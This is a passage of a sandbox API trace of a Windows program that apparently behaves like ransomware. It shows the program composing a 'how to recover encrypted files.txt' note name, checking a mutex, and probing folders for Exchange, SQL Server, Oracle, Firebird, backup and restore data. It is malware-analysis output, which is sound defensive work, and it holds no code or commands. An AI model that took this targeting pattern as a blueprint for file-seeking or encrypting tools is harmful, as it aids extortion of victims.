lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.964] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\el-GR\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.964] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.964] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.964] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.964] GlobalUnlock (hMem=0x44000c) returned 0 [0045.964] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.964] GlobalLock (hMem=0x440004) returned 0x553188 [0045.964] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.964] GlobalUnlock (hMem=0x44000c) returned 0 [0045.964] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.964] GlobalUnlock (hMem=0x440004) returned 0 [0045.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.964] GlobalLock (hMem=0x440004) returned 0x551178 [0045.964] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.964] GlobalUnlock (hMem=0x440004) returned 0 [0045.964] GlobalLock (hMem=0x440004) returned 0x551178 [0045.965] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.965] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.965] GlobalUnlock (hMem=0x440004) returned 0 [0045.965] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.965] GlobalUnlock (hMem=0x44000c) returned 0 [0045.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.965] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.965] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.965] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.965] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.965] GlobalUnlock (hMem=0x44000c) returned 0 [0045.965] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.965] GlobalLock (hMem=0x440004) returned 0x554190 [0045.965] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.965] GlobalUnlock (hMem=0x44000c) returned 0 [0045.965] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.965] GlobalUnlock (hMem=0x440004) returned 0 [0045.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.965] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.965] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.965] GlobalLock (hMem=0x440004) returned 0x552180 [0045.965] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.965] GlobalUnlock (hMem=0x440004) returned 0 [0045.965] GlobalLock (hMem=0x440004) returned 0x552180 [0045.965] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.965] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.965] GlobalUnlock (hMem=0x440004) returned 0 [0045.965] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.965] GlobalUnlock (hMem=0x44000c) returned 0 [0045.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.966] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.966] GetLastError () returned 0x12 [0045.966] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.966] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.966] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.966] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.966] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.966] GlobalUnlock (hMem=0x44000c) returned 0 [0045.966] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.966] GlobalLock (hMem=0x440004) returned 0x553188 [0045.966] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.966] GlobalUnlock (hMem=0x44000c) returned 0 [0045.966] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.966] GlobalUnlock (hMem=0x440004) returned 0 [0045.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.966] GlobalLock (hMem=0x440004) returned 0x551178 [0045.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.966] GlobalUnlock (hMem=0x440004) returned 0 [0045.966] GlobalLock (hMem=0x440004) returned 0x551178 [0045.966] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.966] GlobalUnlock (hMem=0x440004) returned 0 [0045.966] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.966] GlobalUnlock (hMem=0x44000c) returned 0 [0045.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.966] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned 1 [0045.966] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.966] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.967] GlobalUnlock (hMem=0x44000c) returned 0 [0045.967] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.967] GlobalLock (hMem=0x440004) returned 0x553188 [0045.967] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.967] GlobalUnlock (hMem=0x44000c) returned 0 [0045.967] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.967] GlobalUnlock (hMem=0x440004) returned 0 [0045.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0045.974] GetLastError () returned 0x3 [0045.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18권Q\x181")) returned 0xffffffff [0045.976] GetLastError () returned 0x2 [0045.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0045.978] GetLastError () returned 0x2 [0045.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뾴R企@\x18?T\x18D")) returned 0xffffffff [0045.980] GetLastError () returned 0x2 [0045.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0045.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18뻜R\x18j")) returned 0xffffffff [0045.981] GetLastError () returned 0x2 [0045.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0045.983] GetLastError () returned 0x2 [0045.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0045.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@븄R企@\x18?T\x18y")) returned 0xffffffff [0045.985] GetLastError () returned 0x2 [0045.985] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0045.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.985] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0045.987] GetLastError () returned 0x2 [0045.987] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0045.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0045.988] GetLastError () returned 0x2 [0045.988] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.988] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0045.989] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@븄R企@\x18?T\x18\x8f")) returned 0xffffffff [0045.990] GetLastError () returned 0x2 [0045.990] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.990] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0045.990] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0045.994] GetLastError () returned 0x2 [0045.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0045.995] GlobalLock (hMem=0x440004) returned 0x551178 [0045.995] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.995] GlobalUnlock (hMem=0x440004) returned 0 [0045.995] GlobalLock (hMem=0x440004) 